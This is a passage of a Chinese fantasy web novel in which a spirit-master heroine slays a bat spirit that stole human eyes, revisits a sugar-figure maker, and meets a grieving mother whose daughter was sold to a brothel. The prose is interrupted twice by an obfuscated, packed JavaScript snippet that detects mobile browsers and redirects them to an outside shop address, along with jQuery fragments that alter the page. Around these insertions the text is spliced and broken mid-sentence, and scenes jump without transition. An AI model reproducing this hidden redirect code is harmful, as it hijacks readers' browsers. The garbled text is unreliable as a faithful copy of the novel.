“多谢恩人点化!我愿为恩人尽自己所能帮忙!还请恩人赐名!”蝙蝠精满脸期待地望着乔天璇,对着乔天璇双膝跪地。 乔天璇转头瞥了瞥落泪男子,又转回头看向了蝙蝠精,想着这蝙蝠精反正的确是用了自己的灵力,那就让它来帮个忙报答自己吧。 “好啊,你们蝙蝠一身黑,还有毛,我便唤你为‘黑毛’,如何?” “嗖!” 一声响后,蝙蝠精又变回了蝙蝠的形态。 乔天璇:“……” 蝙蝠精落到了草地上,不好意思道:“对不起,恩人,我的妖力还不足以让我长久化成人形,看来以后还得勤加修炼才行。” “无碍,正好就用你这具不是人的身子去给那个害羞的落泪男子帮忙送情书,以此来报答我对你的点化之恩。” 说罢,乔天璇转身就朝落泪男子走了去。 “好!”蝙蝠精飞在了乔天璇的身后,兴奋极了。 “轰!” 漆黑的洞穴中,乔天璇手中的灵火忽地一颤,随之大盛,在她的手掌心中几乎烧成了一个椰子般大小的火球。 灵火与所召灵师的心相连。此刻,乔天璇只觉自己心中的怒火一个劲儿直窜天灵盖。 而她也是在这么多年来第一次召出了这么大团的灵火,哪怕只有一瞬。 黑毛被乔天璇手掌心中突然出现了一瞬的大火球给吓了一大跳,慌忙接连往后退了三大步。 乔天璇紧追上三大步,死死瞪着重新出现在灵火的火光所能照到的范围内的黑毛,怒道:“所以说,黑毛,你在终于真正修炼成精,可以长久化成人形之后,你就用着我当初给你的灵力跟你的同伴一起去盗人的眼珠子来给你自己换着戴了?!” 32. 盗眼蝙蝠(五) “没有!没有啊!”黑毛慌忙解释:“我没有用你的灵力,我用的都是自己的妖力啊!” “盗取人的眼珠子这种事不管是用灵力还是用妖力都是令人发指和不可原谅的好吗?!”乔天璇怒气冲天。 “谁让那些人说我的眼睛难看,还骂得那么难听!”黑毛委屈又难过。 “你还委屈上了?”乔天璇气不打一处来。 “我被人骂了啊!”黑毛理直气壮。 “被人骂了难道就能把人的眼珠子抢过来给自己戴吗?还接着去找下一个人,问自己的新眼睛好不好看?若是下一个人也说不好看,你就故技重施,把那个人的眼珠子抢了换到自己的眼睛里戴,然后再继续跟另一个人问自己的新眼睛好不好看,你自己不觉得恶心吗?!”乔天璇越说越恨。 她一是恨自己当初为何要听花蕊的话,用了灵力去救那只受伤的蝙蝠,让它得以被点化成精。二是恨自己没有在与蝙蝠精告别之前多教它一些人的道理,令它明白人眼中的是非对错,让它不要去做伤害人的事情。 “我不觉得恶心。”黑毛满眼无辜。 乔天璇听得胸口一闷。 “那你的那些同伴模仿人被盗取眼睛之后发出的惨叫声你也不觉得恶心?” “不觉得,多有意思啊?”黑毛眨了眨眼。 “真是废了,你可以去死了。”乔天璇抽出缠在腰间的削魂,猛地一剑刺向了黑毛的心脏。 黑毛连忙往旁边一躲,步出了灵火所能照到的范围。 然而就在刚刚灵火变成大火球的那一瞬也彻底照亮了这处石洞,乔天璇大概看清楚了此地的情况,顶上倒挂着无数黑压压的盗眼蝠,脚下的石地湿漉漉的,四周空旷无比。 乔天璇一手将削魂往黑毛躲去的方向挥去,另一手将掌中的灵火往上方用力一抛,让灵火的火舌疯狂舔舐顶上无数倒挂着沉睡的盗眼蝠。 灵师召出的灵火比寻常的火要有灵性,会随着所召灵师的心意而动,顷刻便掠过了无数互相紧贴着的盗眼蝠,成片成片烧了起来。 火光骤然从上往下照亮了整个石洞。 如此一来,石洞不再漆黑一片,黑毛无论再往哪儿躲都逃不出乔天璇的眼睛了。 黑毛本就是蝙蝠,怕火怕光是蝙蝠的天性。方才托着灵火照明的人若不是他的恩人乔天璇,他根本就不可能朝有火光的地方靠近。 听着顶上的盗眼蝠们被灵火灼烧时发出的凄厉惨叫声,乔天璇对着同样万分惧怕火和光的黑毛狂砍猛刺,恶狠狠道:“这种惨叫才是属于你们这些盗眼蝠的惨叫声!” 黑毛根本不敢直视顶上的火海,完全丧失了一切攻击能力,只能捂着双眼瞎跑。 乔天璇见黑毛跑得实在太快,便将剑抛向黑毛,刺穿了黑毛的后背前胸。 “吱!!!”黑毛疼得大吼,被乔天璇的这一剑刺得跪倒在地。 乔天璇快步赶到黑毛身旁,将削魂拔出,一脚把他踢翻在地,踩着他被削魂刺穿后腹部的伤口,强迫他看向顶上火海中燃烧着的无数盗眼蝠。 “你们让无数的人失去双目,让无数的人世界变得一片黑暗,让无数的人因此前途尽毁,实在是罪孽深重!”乔天璇一剑砍下了黑毛想要捂住眼睛的右手。 “既然已经犯下不可原谅的过错,那就全都给我偿命!”乔天璇又一剑砍下了黑毛想要捂住眼睛的左手。 黑毛痛苦地呻吟着闭上了双眼。 可是火光大盛,透过黑毛的眼皮依然让他感觉眼前一片明亮。 灵火被乔天璇的心意指使着,遍布石洞顶上的所有盗眼蝠身上后便将它们齐齐禁锢在顶上受灼烧之苦,不让其飞,也不让其掉落到湿漉漉的石地上企图使灵火熄灭,更不会误伤到已经被算命道士用法宝隐藏住了气息的五人。 “好厉害……”花蕊望着顶上壮观的火海,看得都呆了。 祝源佩服道:“不愧是灵师的灵火,烧起来都格外漂亮。” 算命道士发现灵火被乔天璇所控,并不会烧到自己,眼中的担忧之色略微消减了一些。 洛侠看了一眼顶上的火海,又看向了踩着黑毛的乔天璇。 陈渊龙即便身为太子殿下,也是第一次见到这样的画面,他忍不住朝乔天璇大喊:“当心!” “我不要眼睛了!我不要看了!”黑毛猛然睁眼,那双本就不属于他的眼睛顿时化作两滩血水从他的眼中流出,沿着他的脸一路淌到了湿漉漉的石地上。 “你以后也别想再要新的眼睛了!”乔天璇一剑刺入黑毛的心脏。 黑毛一颤,惊道:“恩人!你……” “哦,差点忘了,你不唤我恩人还好,你这一唤,倒是让我想起来了。当初,是我用我的一丝灵力救的你。” 说罢,乔天璇将已经刺入黑毛心脏的削魂猛地一转。 黑毛当即吐出一大口鲜血来,浑身抽搐。 “现在,我要收回我的那一丝灵力。”乔天璇抬起方才托着灵火的空手,伸出一指一勾,将感受到的属于自己的那一丝灵力收了回来,疑惑道:“真是奇怪啊黑毛,你后来怎么把我给你的这一丝灵力放在外面了?是不喜欢让它待在你的体内吗?” 下一刻,乔天璇只觉天旋地转,四周变得一片模糊。 待她再看清楚眼前的一切时,众人已经再次身处于周围到处都有大大小小奇形怪状的石头的地方了,再不见方才的火海石洞。 “回来了?”乔天璇四下瞧了瞧,脚下依旧踩着黑毛。 “恩人救我所用的灵力,我从未用来做过伤人之事……” “……” 黑毛彻底断了气,变回了一只黑色的蝙蝠。 “可你用妖力做了伤人之事,还是一样得要偿命。”乔天璇松了踩着黑毛的脚。 黑毛已死,蝙蝠身逐渐消散,最终灰飞烟灭。 乔天璇拾起黑毛身灭处遗留的妖丹,用灵力将其捏得粉碎。 “咦?你们快看,那里在冒烟!”花蕊伸手指向了前方的一处。 乔天璇顺着花蕊指着的方向望去,果然看到几块挤在一起的石头中间在不断地冒着浓烟。 “应该是灵火烧出来的烟。”乔天璇快步走到了那几块挤在一起的石头旁,往这些石头中间一瞅,见到了一条地缝。 算命道士收了用来隐藏五人气息的法宝回怀中,也赶到了这几块石头旁。 在看到了冒烟的地缝时,算命道士满脸不甘道:“原来这条地缝被几块挤在一起的石头遮挡着,搞得我一个人来这儿的时候都没有留意到。” 乔天璇道:“还好有我的灵火烧出来的烟,要不然这么个逼仄的窄地方谁能发现得了?” 说话间,其余几人也跑了过来。 洛侠道:“这地缝应该就是盗眼蝠巢穴的入口了。” 算命道士抬头看向一旁,惊道:“没错!就是这里!刚好还有棵树,只是那两只鸟精这会儿不在。” 祝源不解道:“没想到盗眼蝠的巢穴居然是在地下,可一到下雨天不就被淹了嘛?” 乔天璇道:“石洞里的石地湿漉漉的,说明里面深处很可能有地下河,只是我们没看到而已。若是下雨,雨水流到里面也会一路流入地下河中,不会把整个洞穴给淹了的。” “难怪……我就说嘛,刚刚我还感觉到石洞顶上有东西在往下面滴水珠。”祝源低头看了看自己胸前衣衫上的几点湿润。 乔天璇道:“往下滴水珠的东西是钟乳石。” “里面实在太黑了,我没注意到,哈哈哈哈……”祝源尴尬地笑了笑。 花蕊白了一眼祝源,疑惑道:“可是我们刚刚是怎么从这里一下子被传送到盗眼蝠的巢穴里的?” 算命道士解释道:“蝙蝠精拿石头搞了个阴阳倒转阵,用了灵师当初给他的那一丝灵力来当解阵入巢穴的钥匙。灵师来了,这一丝灵力感觉到了灵师体内的灵力,就像是见到了主人一样,自然要主动开门欢迎主人,于是我们就一下子被传送到地下的盗眼蝠巢穴中了。” “原来如此。”乔天璇思索道:“怪不得我在收回那一丝属于我的灵力之后我们就被传送回原地了,看来是法阵由于那一丝灵力的缺失而失效了。余留的妖力不欢迎人,便将我们强行驱赶出了巢穴。可这么说来,黑毛岂不是一直在期待着我会再来找他?所以就搞了这么一个法阵?” “应该吧?毕竟我来的时候可没有这份待遇。”算命道士的语气听起来竟是有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025607|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遗憾。 乔天璇看了一会儿冒烟的地缝,转头看向了洛侠,突然心虚一笑,试探道:“师父,我不会让灵火自己灭掉呢。” “无事,已经放出去了的火本来就是没有办法让其无缘无故灭掉的。”洛侠一只手顺了顺乔天璇方才在教训黑毛时跑乱了的几缕垂在肩上的头发,另一只手从腰间挂着的储物袋中取出了一个紫葫芦,随即一指顶开被一条红绳的另一头拴在紫葫芦腰上的塞子,将紫葫芦嘴对准了地缝。 霎时间,众人听到地缝中传来了翻腾的水声。 陈渊龙的目光在紫葫芦、地缝,以及洛侠顺着乔天璇头发的手上来回跳跃,眼神极其复杂。 从地缝中传来的水声越来越大,从地缝中冒出的烟也越来越少。 突然,洛侠拿开了葫芦嘴对准了地缝的紫葫芦。 紧接着,汩汩清水忽地从地缝中溢了出来,湿了地缝周围拥挤的石头。 乔天璇好奇道:“师父,我猜你刚刚是在用法宝把地下河中的水给吸上来?然后在水被刚吸出地缝的那一刻让法宝停止了吸水?” “没错。”洛侠重新给葫芦塞上了塞子,放回了储物袋中。 “太好了,这样一来我的灵火就被灭掉了。”乔天璇终于安了心。 花蕊紧张道:“这些刚刚被吸上来的水又退下去了!” 洛侠道:“水本来就是被法宝强行吸上来的,没了法宝,它们自然就又退回去了。” “哦……”花蕊恍然大悟地点了点头。 看着已经没了烟也没了水的地缝,乔天璇收好了手中的削魂,对算命道士道:“怎么样?我就说你自己一个人搞不定,得带上我们才行的吧?” “是是是,灵师高见。”算命道士勉强对着乔天璇拱了拱手,以示自己服了乔天璇了。 乔天璇看向了花蕊,兴奋道:“好了,大功告成,那再顺便去瞧瞧去年我们让黑毛帮其送情书给喜爱的姑娘的那个害羞男子如今如何了吧!” “好啊好啊!”花蕊一听乔天璇的提议,顿时来了兴趣。 “那只蝙蝠精还帮人送过情书?”算命道士一脸的不可置信。 乔天璇道:“当然了,还是黑毛主动的呢。道长,你快带路领我们出去,我在路上和你讲去年我们三侠行客初遇蝙蝠精时发生的事情。” “原来你就是三侠行客中的女侠啊?!”算命道士不由得一惊。 “哦哟,忘了跟你作自我介绍了。”乔天璇一把揽过花蕊的肩膀,笑嘻嘻道:“道长,这位是玉心女侠,我是云天。” “没错,我就是玉心女侠!”花蕊气势满满地看着算命道士。 “见过二位女侠!”算命道士郑重地对乔天璇和花蕊拱了拱手,眼中终于有了正经的敬佩之色。 “道长,你想不想听去年我们三侠行客初遇蝙蝠精时发生的事情啊?”乔天璇微微眯着眼睛凑近了算命道士。 “想!”算命道士连忙拿出用来蒙眼的黑布,打算蒙着双眼听着林子里的声音给众人领路出去。 见状,乔天璇忽然回想起这条通往此地的路是靠算命道士听声音听过来的。若是想要原路返回,自然也得靠听声音才行。 “道长不必蒙眼,我来领路。”陈渊龙一下子走到了最前面,胸有成竹道:“我已经记住了来时的路,大家跟我走吧。” “你真的记住了?”算命道士有些诧异。 陈渊龙道:“自然,无论是什么,我都过目不忘,路也是如此。” “那就由你来领路吧,我也想看看这条路沿途的风景。”算命道士乐呵呵地收起了用来蒙眼的黑布。 “啧。”乔天璇烦躁地瞟了陈渊龙一眼。 而陈渊龙就好像是没有听到乔天璇嫌弃他的声音一样,甚至还特意走在了乔天璇的前方。 一路上,看着走在最前面领路的陈渊龙,乔天璇心中莫名有些不爽。 于是,乔天璇在述说去年三侠行客初遇蝙蝠精的事情时说得格外声情并茂,说着说着还和当事人花蕊说成了相声。乔天璇当逗哏,花蕊当捧哏,两人一唱一和,让陈渊龙身后所有人的注意力都放到了自己和花蕊的身上,而领路的陈渊龙反倒像是成了一个不重要的边缘人。 33. 琅琊姜氏(一) 行了许久之后,陈渊龙终于带着众人走出了昏暗的林子。 乔天璇道:“我记得那个害羞得不敢去给自己喜爱的姑娘送情书的男子是住在琅琊姜氏地界的柳叶镇那儿,离这里应该不远吧?” “不远不远,此地已是琅琊姜氏地界的边缘处了。你们再往北走大概两刻钟就能到柳叶镇。”算命道士看向了北边的方向。 “两刻钟?那很近了!我们现在就出发!”乔天璇即刻拉起花蕊的手就往通向北边的路走去。 “江湖有缘再见啊,三侠行客。”算命道士望着乔天璇和花蕊离去的背影,迟迟没有移目。 “江湖有缘再见!”乔天璇和花蕊背对着算命道士挥了挥手。 祝源赶紧跟到了花蕊的身后。 洛侠也护在了乔天璇的身旁。 陈渊龙默默地走到了乔天璇的身后,抬手轻轻夹走了落在乔天璇发髻上的一片黄叶。 通往柳叶镇的路越走越宽阔,路上的行人也越来越多。 五人行了不到两刻钟就来到了柳叶镇。 镇子里十分热闹,到处都有摆摊的小摊贩。 乔天璇左顾右盼,想着看看能不能瞧见那个不敢去给自己喜爱的姑娘送情书的害羞男子。 花蕊也在不断地左右张望,尤其注意卖糖类食品的小摊贩。 至于这是为何,那就不得不提起那个害羞男子其实是个会捏糖人的手艺人了。 乔天璇在让黑毛去给害羞男子送情书之后也知道了害羞男子名叫杨琥。 可乔天璇向来不会无缘无故就干不得利益的事情,更别说还是帮人跑腿送情书这种事情了。即便是她让黑毛帮忙送的,而黑毛也是主动请缨。但对乔天璇来说,能多得一笔算一笔,她从不会嫌报酬多,尤其是这种几乎零成本的买卖,若是不多从中多得一些,反倒会让她觉得有些遗憾了。 乔天璇正想跟杨琥谈谈关于帮忙送情书的报酬,可还未来得及开口,杨琥就先一步把碎银塞到了乔天璇的手中,感激道:“多谢女侠!实不相瞒,我是个糖人手艺人,不知三位可否来赏脸吃我捏的糖人?我免费送你们吃!” “糖人?好啊!我想吃!”花蕊十分激动,眼里几乎都要冒出星光来了。 见花蕊如此喜欢,乔天璇道:“行,那我们就赏脸尝一下吧。” 祝怀风好奇道:“你一般都会捏什么样的糖人啊?” 杨琥道:“什么样的都能捏,今日我还有没卖完的,你们跟我来!” “嗯!”花蕊连忙跟上了杨琥。 乔天璇和祝怀风对视一眼,也跟了上去。 三人很快就跟着杨琥来到了他家,进了他家的院子。 杨琥家还算比较富有,住在一个大宅子里,他的父母都是商人。捏糖人纯属杨琥的一个爱好,而能把捏好的糖人卖出去则会让杨琥非常有成就感。 “来来来!快看这些糖人!你们喜欢哪个就挑哪个!”杨琥十分热情地带着三人来到了他在家捏糖人的一个小房间。 房中的一个架子上插着七个精致且各有特色的糖人。 花蕊一下子就挑中了一个梳着双丫髻,戴着满头花,披着黄色披昂的粉衣小姑娘,欢喜道:“我要这个,这个糖人和云天初到岛上那会儿的样子很像呢!” 乔天璇一愣,在看到花蕊手中的糖人时也不得不点头道:“的确很像,就是我那会儿头上没戴那么多花。” “这个也像,我要这个。我记得云天偷穿过灭妖仙人的衣服,当时差不多就是这个样子。”祝怀风挑了其中一个梳着双平髻,手捧一只小黑猫,一袭白衣的小姑娘。 “喂!你怎么还记得那件事情啊?我自己都快要不记得了!”乔天璇惊诧地看向了祝怀风。 杨琥期待道:“云天姑娘,你也挑一个吧?” 乔天璇望向了还剩下的五个糖人,挑了一个长着鹿角的红衣女子,道:“我要这个鹿妖,好看。” 杨琥道:“那是龙女。” “龙女?”乔天璇低头仔细瞧了瞧,当即对杨琥道:“不好意思,我把龙角看成鹿角了。 杨琥忙道:“没事没事,这说明我还有进步的空间。毕竟我没见过真的龙嘛,就按照鹿角的样子来捏龙角了。” 乔天璇舔了舔龙女的龙角,忍不住道:“不愧是糖人,真甜啊。” “我都有点不舍得吃了。”花蕊看着手中的糖人,爱不释手。 这时,黑毛从窗外的墨色夜空中飞了进来,倒挂在房梁上,道:“情书已经送到绾绾手中了,她很高兴。我看她的样子应该也是喜欢你的,杨公子。” “真的?!”杨琥惊喜地抬头望向了倒挂在房梁上的黑毛。 屋内桌上烛灯的火苗轻轻摇曳着,把房梁上倒挂着的黑毛照得明暗分明。 黑毛道:“当然是真的,我们妖可不像你们人,一言不合就骗人。” “太好了!太好了!绾绾喜欢我!喜欢我!她喜欢我!”杨琥高兴得一蹦三尺高。 “忙帮完了,我也得走了。”黑毛展开了黝黑的翅膀。 “再见,黑毛。”乔天璇对这蝙蝠精并无任何留恋之情。 “再见,恩人。”黑毛振翅飞出了窗。 随着黑毛飞出窗去的身影,乔天璇看到此时的天已经完全黑下来了,连月亮都瞧不见,大概是被乌云遮住了,想走夜路的话会十分困难,便对杨琥道:“今晚我们可否在你家借宿一晚?” 杨琥道:“当然可以!只是我家只有一间客房,你们三个能一起睡一间房吗?” “能。”乔天璇点了点头。 这一路为了追盗取镇玉的人,他们三人白日里马不停蹄地赶路,累得不行,夜里几乎倒头就睡,已经完全不在乎是分房睡还是睡同一间房了。 当杨琥带着三人来到了客房之后,乔天璇看到客房的榻倒是不小,比起一些客栈的榻还要宽大了,不禁感叹这家子人对留宿的客人可真是大方,居然舍得给客人睡如此大的一张榻。 杨琥道:“今日你们帮了我大忙了,好好休息一晚吧。” 花蕊终于舍得舔了舔手中的糖人,道:“好,杨公子又是捏糖人又是写情书的,还哭得那么伤心,肯定累了,也要好好休息呀!” 杨琥不好意思道:“是、是啊,哈哈,那我就不打扰你们休息了。” “嗯嗯。”花蕊点了点头。 杨琥离开后,乔天璇步至客房的窗户前打开了窗,从腰间的黑色乾坤袋中掏出了一个苹果大小狗头形状的指味犬,让其在窗户口闻了闻味道。 指味犬是洛侠借给乔天璇用来追盗取镇玉的人的一样法宝,此法宝能与主人心意相通,可根据主人遗失的其它法宝的味道来对其进行追寻。而指味犬之前一直在洛侠那儿,熟知镇玉的味道。现在镇玉被盗,用这指味犬来追镇玉便可万无一失。 见白色的指味犬伸出的红色舌头微微转动了一下方位,乔天璇愣了愣,转头对花蕊和祝怀风道:“那些盗取了镇玉的盗墓贼改变逃跑的方向了,他们现在往西南方向去了。” 花蕊道:“那我们明日就往西南方向追。” 祝怀风烦闷道:“这些盗墓贼可真是跟老鼠一样喜欢乱窜,一会儿往西,一会儿往北,一会儿往东,现在又往西南跑了。” 乔天璇道:“没关系,只要有指味犬在手,我们追那些盗墓贼的速度再快一些,肯定可以追到他们之后把镇玉给夺回来的。” “好,听你的,我们肯定能追得到。”祝怀风看着乔天璇,浅浅笑了笑,脸上的烦闷之色也消了下去。 花蕊道:“那我们今晚还是和之前一起睡同一间房的时候一样,我和云天睡榻上,小风子打地铺吧。” 祝怀风晃了晃手中的糖人,无所谓道:“行,没问题。” 乔天璇将指味犬收回腰间的黑色乾坤袋中,转头望向了窗外没有月光的夜空。 然而,花蕊和祝怀风就像是在自己身后偷偷商量好了似的,突然同时窜到了自己的身旁左右,将各自手中的糖人举到了自己眼前的夜空中。 “看,云天奔月!”花蕊举着糖人往窗外的夜空慢慢伸去。 “这是云天抱猫奔月!”祝怀风举着糖人紧随花蕊举着的糖人而去。 乔天璇被这两人突如其来的动作给吓了一跳,随即立马回想起了这两人方才在挑糖人的时候都说过他们所挑的糖人很像乔天璇。 “现在都没有月亮,奔什么月啊?”乔天璇有些无奈。 然而,话音刚落,天边遮住了月亮的乌云就缓缓移开了自己的位置,让月亮露了出来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17025608|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 乔天璇:“……” “月亮!月亮出来了!”花蕊高兴极了,继续叨念着:“云天奔月!云天变仙女!” 乔天璇刚想要说些什么,却忽然觉得眼前两个被花蕊和祝怀风一前一后举在夜空下“奔月”的糖人还真像是那么一回事。以窗户框为画框,似极了一幅仙女奔月图,只不过“奔月”的是两个糖人。 “看到了!是杨琥!”花蕊抬手指向了街边的其中一个小摊贩。 乔天璇转头望去,果真看到了杨琥守在一个糖人摊子那儿。而他的身旁还站着一个带着白色面纱的紫衣女子,想来便是绾绾。 “走走走!”花蕊拉起乔天璇的手往杨琥的糖人摊子走了去。 这会儿杨琥的摊子前有好几个客人都在挑选他们想要的糖人。 来到了糖人摊子前,乔天璇发现杨琥捏糖人的手艺比起一年前要更加精湛了。 “杨公子,又见面了。” 说着,花蕊拿起了摊子上插着的其中一个糖人。 这糖人是一个拿着剑起舞的红衣小姑娘。 “真有缘!我们又见面了!”杨琥看到了花蕊和乔天璇,眼中顿时兴奋了起来。 “你捏糖人的手艺进步了不少啊。”乔天璇也拿起了摊子上插着的其中一个糖人。 这糖人是一个长着一对猫耳,嘴里叼着一条鱼的白衣猫妖。 杨琥连忙给身旁的女子介绍道:“娘子,这是三侠行客中的两位女侠。” “三侠行客?!”绾绾当即瞪大双眼打量起了花蕊和乔天璇,眼中满是不可置信。 乔天璇对着绾绾笑道:“不知吃鱼的小猫妖要多少钱?” 绾绾连忙热情道:“八文钱。” “给,八文钱。”陈渊龙将钱递给了绾绾。 “嗯?”绾绾一下子没有反应过来。 “哦,你帮我付啊?行,那就他来付吧。”乔天璇瞟了一眼陈渊龙递钱的手,自顾自舔起了手中的糖人。 绾绾赶忙收下了陈渊龙递给她的钱。 “我喜欢这个,这个要多少钱?”花蕊摇了摇方才她拿起的糖人。 杨琥道:“这个十文钱。” “给,十文钱!”祝源学着陈渊龙的样子把十文钱递给了杨琥。 花蕊瞅了一眼祝源,满意道:“表现不错。” 看到眼前的画面,杨琥立马就明白过来了是怎么一回事。可当他见到乔天璇身后的洛侠看着陈渊龙的眼神时,他口中想对乔天璇和陈渊龙说的祝福语却像是当场蒸发了一样,实在是不敢说出口来。 与此同时,杨琥似乎也明白了陈渊龙和洛侠的关系。 他连忙对乔天璇道:“那个……这个,也是小猫妖,但是没有叼鱼,你喜欢吗?” 乔天璇看向了杨琥指着的糖人,见其也很可爱,便道:“喜欢,要多少钱?” 杨琥道:“八文钱。” “唰!” 乔天璇只听一道某东西从自己身后被抛掷杨琥手中的声音。 随即,杨琥的手中多了八文钱。 而乔天璇当即就看出来了杨琥是提前准备好了要接从空中抛来的钱,也一下子明白了杨琥一定是看出来了自己身后的洛侠对陈渊龙帮自己付糖人的钱一事多有不满,于是便故意制造了一个让洛侠也可以帮自己付糖人的钱的机会。 想到这里,乔天璇另一只空着的手拿起了杨琥说的那个没有叼鱼的小猫妖糖人舔了一口,抬眼看向了陈渊龙。 没有叼鱼的小猫妖糖人是洛侠付的钱,乔天璇就是要当着陈渊龙的面吃洛侠买给自己的糖人。 果然,陈渊龙眼底顿时泛起了一丝不悦。 “咦?”乔天璇的目光突然被陈渊龙身后的一个人影吸引住了。 发现乔天璇的眼神变化,陈渊龙立马转头望去。 只见吸引了乔天璇目光的那人是个眉清目秀的男子,身着一袭华贵的绫罗绸缎,左拥右抱。 男子许是刚对着自己身旁的一个美艳女子说完了一句很有意思的话,紧接着,他打了个响亮的响指。 乔天璇心中登时一惊。 从小到大,她只知道唯一一个人会在说完一句自己觉得很重要的话后有打响指的习惯。 琅琊姜氏大公子姜景和! 34. 琅琊姜氏(二) 乔天璇至今还记得清清楚楚,在给太子陈渊龙当伴读时,姜景和就坐在自己后桌。他在每说完一句自己觉得很重要的话后打的响指都快赶得上皇家学堂外每年开了又谢,谢了又开,开开谢谢,谢谢开开的文冠花多了。 此时,姜景和一脸慵懒之色,左右两边怀抱中的美艳女子都满眼崇拜地看着搂着她们的姜景和。 跟在姜景和身后的还有他的小厮、护卫,以及样貌皆有可圈可点之处的丫鬟十人。 姜景和两颊微红,似是刚喝过酒。他懒懒散散地走着,说胡话一般道:“昨晚我在青楼里睡的那个女人叫什么来着?她叫……啧,我想想啊,嗯……叶、叶甜馨?应该是叫这个。哎呀,小丫头长得倒是挺甜,就是态度有些扫我的兴,不如你俩合我心意。” 说完,姜景和亲昵地亲了他左右两边怀抱中的美艳女子额头各一口。 “姜大公子讨厌了啦……”两个美艳女子满脸羞涩地拱了拱姜景和,与姜景和贴得更紧了。 “哎嘿?讨厌就是喜欢!你们两个肯定喜欢死我了!”姜景和猛地又亲了他左右两边怀抱中的美艳女子脸蛋各一口。 “嗯呀……姜大公子讨厌讨厌……”两个美艳女子在姜景和的怀中扭了扭身子,撒起了娇。 此情此景,乔天璇看得浑身鸡皮疙瘩都要起来了。 真是万万没想到不过几年时间没见,姜景和竟然变成了这样一副浪荡公子模样,实在是让乔天璇感到难以置信。 “呜呜呜呜呜呜呜呜我的闺女啊……我的闺女啊……” 乔天璇循声望去,看到街道另一边的一处屋檐下有一个绝望地靠在墙上哭泣的妇人。 “她一定是遇到什么伤心事了,我去安慰一下她吧。” 说完,花蕊快步走向了哭泣的妇人。 “玉心!”乔天璇赶忙跟上了花蕊,担心花蕊想要帮的人是个骗子。 洛侠见乔天璇要去追花蕊,他立马紧随在乔天璇的身旁。 陈渊龙也不甘示弱,几步就赶到了乔天璇的身旁另一边。 祝源的反应虽然慢了些,但他在看到洛侠和陈渊龙都去追乔天璇了后,他也慌忙去追花蕊了。 花蕊一来到妇人面前去就立马询问妇人为何要哭,还把自己的手帕掏了出来递给了妇人抹眼泪。 妇人一看到眼前的花蕊,顿时哭得更伤心了。 花蕊道:“若是夫人遇到了什么难处,我们也许可以帮得上忙?我可是三侠行客中的玉心女侠,最喜欢路见不平拔刀相助了。” “三侠行客?玉心女侠?”妇人停止了哭泣,看着花蕊的眼神像是突然看到了希望一般。 乔天璇几人这会儿也赶到了花蕊身旁。 花蕊拉过乔天璇的手,对妇人介绍道:“这位是三侠行客中的云天女侠,也是三侠行客中最能打的一位!” “云天女侠?”妇人看着乔天璇,却给乔天璇一种她在透过自己看另一个人的感觉。 花蕊信心满满道:“没错。” 三侠行客名满天下,妇人得知了眼前的花蕊和乔天璇就是三侠行客中的两人,当即将花蕊方才递给她抹眼泪的帕子还回给了花蕊,小心翼翼道:“你们真的能帮我?” “我们还不知夫人遇到的是什么困难呢。”花蕊有点紧张地接回了妇人还给她的帕子。 妇人沉默了好一会儿。 与此同时,街道上左拥右抱的姜景和带着一众人大摇大摆慢悠悠地往前走去,边走还边与他左右两边怀抱中的美艳女子说着些令乔天璇感到浑身起鸡皮疙瘩的话。 “青楼里的姑娘能有我懂你吗?姜大公子?”靠在姜景和右边怀中的美艳女子娇滴滴地问姜景和。 姜景和深情款款地看着美艳女子,调戏一般道:“怎么可能?你是与我心心相连的娇艳刺玫花,只要一刺我,我就知道你又猜中我在想什么了。” “哎呀真是的……”靠在姜景和右边怀中的美艳女子娇嗔着,轻轻亲了一口姜景和的脖子。 “那我呢?我和青楼的姑娘相比,是更得姜大公子欢心的女子吗?”靠在姜景和左边怀中的美艳女子焦急又好奇地问姜景和。 姜景和转头看向了女子,眯眼笑道:“你是我精心挑选的小兰花,美好、高洁、贤德,空谷幽兰!你怎能将自己与青楼的姑娘相比?” “那姜大公子今晚宠我嘛……”靠在姜景和左边怀中的美艳女子媚眼如丝,黏糊糊地蹭了蹭姜景和。 “也宠我嘛……”靠在姜景和右边怀中的美艳女子伸出纤纤玉指轻轻抚过姜景和的胸膛,对着姜景和的脖子轻飘飘地吹了一口香气。 “好好好,都宠都宠!那今晚我就不来青楼了,就宠你们两朵小娇花儿。”姜景和把左右两边怀抱中的美艳女子搂紧了,尽情地左右转头闻着两个美艳女子身上的香味。 乔天璇听得直反胃,对姜景和如今的印象差到了极点。 “青楼……青楼……”妇人口中喃喃着方才姜景和提到的这两个字,身子微微颤抖了起来。 姜景和这会儿也带着他的人逐渐走远了,从他那儿传来的声音越来越模糊。 花蕊赶紧追问:“青楼怎么了?” 妇人叹了口气,终于下定了决心把话说出口来。 原来,妇人有一个非常漂亮的女儿在一次灯会中失踪了。而她的女儿与花蕊和乔天璇年龄相仿,这也让乔天璇明白了自己方才为何会有一种妇人在透过她看另一个人的感觉了。想来妇人透过她看到的便是自己那失踪的女儿。 最初,妇人以为自己的女儿走丢了,又或者是借机离家出走。为此,妇人伤心了许久。 结果后来妇人的儿子喝得烂醉去青楼睡姑娘时发现了自己的妹妹在接客,顿时酒都被吓醒了。 他去找老鸨一问,这才知道了妹妹原来是被人拐走迷晕后卖进了青楼。 可妇人家里并没有足够的钱去把女儿给赎出来。 